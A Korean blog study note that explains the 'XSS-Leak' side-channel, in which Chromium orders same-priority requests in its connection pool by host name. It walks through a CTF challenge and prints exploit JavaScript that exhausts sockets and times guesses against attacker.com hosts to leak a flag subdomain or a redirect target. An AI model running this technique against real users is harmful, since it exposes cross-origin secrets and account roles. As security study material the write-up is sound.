XSS-Leak
- Cross-Site-Subdomain Leak에서 따온 이름
- Chromium 기반 브라우저(Chrome, Edge 등)에서 Cross-Origin Redirects 목적지, fetch() 요청의 도메인 등을 누출할 수 있는 사이드 채널 공격
원래 목적이 Cross-Origin 요청의 서브도메인을 누출하는 것이 목표였기 때문에 XSS-Leak이라는 이름을 붙였다고 한다.
Background
Chrome의 커넥션 풀(Connection Pool)
브라우저는 웹 요청을 보낼 때, 내부에 동시에 처리할 수 있는 통로(소켓/커넥션)가 제한되어 있다.
- Chrome은 전체 브라우저에서 최대 256개의 동시 네트워크 요청을 처리할 수 있음
- 같은 오리진(Same-Origin)에서는 최대 6개까지 병렬 처리가 가능
핵심 동작 - 요청 정렬 방식
Chrome은 요청마다 우선 순위가 있고, 보통은 높은 우선순위가 먼저 소켓/커넥션을 받는다.
우선순위가 같을 때 ≠ 선입선출(FIFO) 방식
- Port(포트)
- Scheme(스킴)
- host(호스트) - 사전순(알파벳순)으로 더 작은 게 먼저 소켓을 받음
예를 들어, http://example.com:80 과 http://google.com:80 이 같은 우선순위 대기 중이면, example.com이 google.com보다 사전순으로 앞이라서 example.com 요청이 먼저 소켓을 받는다.
이러한 정렬 동작이 바로 오라클(Oracle)이 된다.
- 내가 고른 호스트: example
- 상대가 고른 호스트: google
이 동시에 소켓 1개를 두고 경쟁하게 만들면
- example이 먼저면 → 내 요청이 빨리 끝남
- google이 먼저면 → 내 요청이 대기해서 늦게 끝남
즉, 어떤 요청이 먼저 처리되는지를 시간 측정으로 알아냄으로써, 알 수 없어야 할 호스트명을 추론할 수 있다
CTF Challenge - 서브도메인 누출
문제: https://github.com/salvatore-abello/web-challenges/tree/main/X/salvatoreabello/exploit
Route /
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>challenge-01</title>
<p id="result">Hello World!</p>
</head>
<body>
<script nonce="<%= nonce %>">
const DOMAIN = "<%= DOMAIN %>";
const PORT = "<%= PORT %>";
const result = document.getElementById("result");
const toHex = s => [...new TextEncoder().encode(s)].map(b => b.toString(16).padStart(2,'0')).join('');
window.onhashchange = () => {
let flag = localStorage.getItem("flag") || "flag{fake_flag_for_testing}";
fetch(`http://${toHex(flag)}.${DOMAIN}:${PORT}`)
.finally(() => result.innerText = "request sent")
}
</script>
</body>
</html>
- 인라인 스크립트가 포함된 페이지
- DOMAIN = challenge-01.babelo.xyz and PORT = 80
- location.hash가 변경되면 localStorage 에서 flag를 읽어 hex 인코딩 후 http://<hex(flag)>. challenge-01.babelo.xyz:80으로 fetch() 요청을 보냄
Route /report
try{
...
page = await context.newPage();
console.log(`The admin will visit ${SITE} first, and then ${url}`);
await page.goto(`${SITE}`, { waitUntil: "domcontentloaded", timeout: 5000 });
await sleep(100);
await page.evaluate((flag) => {
localStorage.setItem('flag', flag);
}, FLAG);
console.log(`localStorage.setItem('flag', '${FLAG}')`)
await sleep(500);
} catch (err) {
console.error(err);
if (browser) await browser.close();
return reject(new Error("Error: Setup failed, if this happens consistently on remote contact the admin"));
}
resolve("The admin will visit your URL soon");
try {
await page.goto(url, { waitUntil: "domcontentloaded", timeout: 5000 });
await sleep(120_000);
} catch (err) {
console.error(err);
}
- 헤드리스 Chrome 봇을 실행
- 챌린지 사이트 방문 → flag를 localStorage에 저장 → 공격자가 제공한 URL로 이동 → 120초 대기
컨텐츠 보안 정책(Content Security Policy, CSP)
app.use((req, res, next) => {
const nonce = crypto.randomBytes(16).toString('base64');
res.locals.nonce = nonce;
res.setHeader("Content-Security-Policy", `default-src 'none'; script-src 'nonce-${nonce}'; connect-src *.${DOMAIN}; base-uri 'none'; frame-ancestors 'none'`);
next();
});
- script-src 'nonce-…' : nonce 없이는 스크립트 실행 불가
- connect-src *. challenge-01.babelo.xyz : 네트워크 요청은 해당 도메인의 서브도메인으로만 가능
- frame-ancestors ‘none’ : iframe으로 삽입 불가
즉, XSS도 안되고, 직접 데이터도 읽을 수 없는 상황
Exploit - Leaking subdomains of cross-origin requests
const sleep = (ms) => {
return new Promise(resolve => {
setTimeout(resolve, ms);
});
}
// sends a fetch request that takes 360 seconds to finish
const fetch_sleep_long = (i) => {
controller = new AbortController();
const signal = controller.signal;
fetch(`http://sleep${i}.${MYSERVER}/360?q=${i}`, {
mode: 'no-cors',
signal: signal
});
return controller
}
// blocks one socket
const block_socket = async (i) => {
let controller = fetch_sleep_long(i);
await sleep(0);
return controller;
}
// exhausts all sockets except one
const exhaust_sockets = async() => {
let i = 0
for (; i < SOCKETLIMIT; i++) {
let controller = await block_socket(i);
controllers.push(controller);
}
}
- 먼저 커넥션 풀(Connection pool)을 설정하는 함수를 만듬
1. 커넥션 풀 고갈
- 시간이 오래 걸리는 요청을 255개를 보내서 커넥션 풀을 고갈 시킴
- 소켓이 1개만 남은 상태가 됨
2. 피해자의 비밀 요청 트리거
- 피해자 페이지는 hashchange 같은 이벤트로 http://<hex(flag)>. DOMAIN를 보내도록 만들어져 있음
- 이 시점에 마지막 1개의 소켓도 차단해, 피해자의 요청을 대기 줄에 서게 함
3. 공격자의 추측 요청 보내기
- 공격자가 자기 추측 값으로 요청을 하나 더 보냄
Ex) http://FFFF.attacker.com - 이 요청도 소켓이 없으니 대기 줄에 들어감
현재 대기 줄에는 http://<hex(flag)>. DOMAIN과 http://7FFF.attacker.com 두 요청이 있음 (7FFF인 이유는 0~F 중간 값)
4. 소켓 1개 비우고, 기준치 요청 보내기
- 공격자는 소켓 1개를 비우고 http://0000.attacker.com 요청을 보냄
- 이 요청은 250ms 후에 답장하도록 설정
5. 누가 먼저 들어왔는지 시간으로 판단
- 피해자가 6으로 시작한다고 가정
6xxx < 7FFF : 피해자가 먼저 소켓에 들어감. 내 요청이 끝나는데 오래 걸림 (600ms 이상) - 피해자가 6으로 시작하고, 내 추측 값이 5FFF 였다고 가정
6xxx < 5FFF : 내 요청이 빨리 끝남 250ms 이하
| 공격자의 요청 속도 | 의미 |
| 빠름 ( < 250ms) | 추측 값이 비밀보다 사전 순 앞(=비밀이 더 큼) |
| 느림 ( > 600ms) | 추측 값이 비밀보다 사전 순 뒤(= 비밀이 더 작음) |
공격자는 이진 탐색으로 7 → 3 → 1 이런 식으로 좁혀서 비밀 값을 알아낸다.
이것이 곧 비밀 값이 내 추측보다 큰가? 작은가? 를 알려주는 오라클!
리다이렉트 호스트 누출
리다이렉트 호스트
리다이렉트는 서버가 이 URL 말고 다른 URL로 가라고 지시하는 동작 (보통 301/302)
이때 다른 URL로 이동하라고 지시한 URL에서 호스트의 부분
- https://admin.example.com/dashboard
- host: admin.example.com
admin.example.com 부분이 리다이렉트 호스트이다.
시나리오
소스코드: https://gist.github.com/salvatore-abello/7d4fd69a098e1f80c900747dc1d3dae5
Google을 OpenID Connect 프로바이더로 사용하는 로그인 시스템:
- 관리자(admin) → admin.test.localhost.com 으로 리다이렉트
- 일반 사용자(user) → app.test.localhost.com 으로 리다이렉트
- 한번 로그인하면 /login 접근 시 자동으로 해당 서브도메인으로 리다이렉트 됨
공격 원리
리다이렉트 네비게이션의 우선순위는 매우 높아서 공격자도 같은 우선순위 요청(frame navigation)을 사용한다.
사전순으로 admin < ajj < app 이므로, 공격자는 ajj를 비교 값으로 사용
| 사용자 유형 | 리다이렉트 목적지 | ajj와 비교 | 결과 |
| 관리자 | admin.test.localhost.com | admin < ajj → 리다이렉트가 먼저 | 공격자가 요청 지연됨 ( >500ms) |
| 일반 사용자 | app.test.localhost.com | app > ajj → 공격자가 먼저 | 공격자 요청 빠르게 완료 |
Exploit
1. 커넥션 풀 고갈
- 요청 255개 보냄
- 소켓이 1개만 남은 상태가 됨
2. auth.localhost.com/login 열기
- 윈도우에서 auth.localhost.com/login을 염
- 이때 1개 남은 소켓을 차단해 auth.localhost.com/login 요청을 대기로 만듦
3. 소켓 1개 열고, 즉시 다시 차단
- 첫 요청만 처리, 리다이렉트는 대기
- auth.localhost.com/login의 요청을 열렸을 때 들어가고, 리다이렉트 된 admin (or app).test.localhost.com은 소켓이 없으니 대기
4. ajj.attacker.com으로 iframe 요청
- frame 네비게이션과 우선순위가 동일
- ajj.attacker.com도 소켓이 없으니 대기로 감
현재 리다이렉트 요청과 공격자 요청(ajj)이 대기 상태
5. 소켓 1개 열고, 즉시 다시 차단
- 리다이렉트 vs iframe 경쟁 유발
| 피해자가 관리자인 경우 | 피해자가 일반 사용자인 경우 |
| 대기: admin vs ajj | 대기: app vs ajj |
| admin < ajj → 리다이렉트 먼저 | ajj < app → 공격자가 먼저 |
| 공격자(ajj)는 여전히 대기 | 공격자(ajj)가 소켓을 먼저 차지하고 빠르게 완료 |
6. 000000.attacker.com으로 요청 전송
- 000000은 어떤 호스트보다 사전 순으로 앞임
7. 소켓 1개 열고, 즉시 다시 차단
- 000000은 사전순으로 1등이므로 소켓을 차지함
- 이 요청은 500ms 후에 응답
8. 소켓 1개 열고 끝
- 500ms 대기 후, 000000 끝나고 소켓 반환
- 남아있는 요청 처리
ajj의 총 소요 시간을 측정한다.
| ajj 소요 시간 | 판정 |
| > 500ms (오래 걸림) | admin이 ajj보다 앞 → 관리자 |
| < 500ms (빠르게 끝남) | ajj가 app보다 앞 → 일반 사용자 |
활용 사례
- 크로스 오리진 요청 개수 세기 : 타겟이 몇 개의 요청을 보내는지 파악
https://blog.babelo.xyz/posts/css-exfiltration-under-default-src-self/#swimming-in-the-connection-pool- - POST 요청 지연시키기 : 특정 요청의 타이밍 조작
https://github.com/icesfont/ctf-writeups/tree/main/idekctf/2025#appendix - 스킴(Scheme) 누출: 요청이 http 인지 https 인지 판별
- 포트번호 누출 : 요청의 목적이 포트 파악
- GroupId.privacy_made_ : 누출 가능성 (미검증)
한계 및 결론
- Chromium 기반 브라우저에서만 동작 (Firefox, Safari 불가)
- Chrome에 보고 했지만, 기존 커넥션 풀 고갈 공격의 변형으로 간주되어 WAI (Won't fix, As Intended)로 분류
XSS(스크립트 주입)이 필요 없이, 브라우저의 커넥션 풀 내부 구현(요청 정렬 방식)이라는 사이드 채널을 이용해 크로스 오리진 요청의 목적지를 추론해 내는 공격 기법이다.
Connection Pool로 이용한 Timing 기법은 예전에도 있었지만, 재조명된 이유는 공격 목표가 더 구체적이고 직접적이 됐기 때문이다.
타이밍으로 뭔가 추측 가능 수준이 아니라 redirect 목적지를 뽑아낼 수 있다로 인식이 바뀌었다.
참고 문헌
xss-Leak: 교차 출처 리디렉션 유출 | 살바토레 아벨로의 블로그 --- XSS-Leak: Leaking Cross-Origin Redirects | Salvatore Abello's Blog
https://blog.babelo.xyz/posts/cross-site-subdomain-leak/
'Web Study' 카테고리의 다른 글
| CSWSH (0) | 2026.04.28 |
|---|---|
| PHP Object injection (0) | 2026.03.19 |
| Directory Listing (0) | 2026.03.04 |
| Host Split Attack (0) | 2026.03.04 |
| HTTP Session Hijacking (0) | 2026.03.04 |